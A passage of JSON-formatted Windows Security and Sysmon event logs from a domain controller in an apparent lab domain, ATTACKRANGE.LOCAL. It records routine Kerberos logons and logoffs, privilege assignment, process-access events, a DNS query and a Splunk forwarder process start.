Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5FAED\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51430\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5faed","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51430","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221845,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FA7E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5fa7e","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221846,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FA34\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5fa34","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221847,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F927\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5f927","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221848,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FDF7\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5fdf7","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221849,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5FDF7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51433\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5fdf7","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51433","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4226,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:25.279\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: DomainDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:25.279","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"DomainDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:55:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221850,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FAED\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5faed","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.350\r\nProcessGuid: {90617006-4138-5F2D-0000-001065040600}\r\nProcessId: 1952\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.350","ProcessGuid":"{90617006-4138-5F2D-0000-001065040600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4138-5F2D-0000-001065040600}\r\nTargetProcessId: 1952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 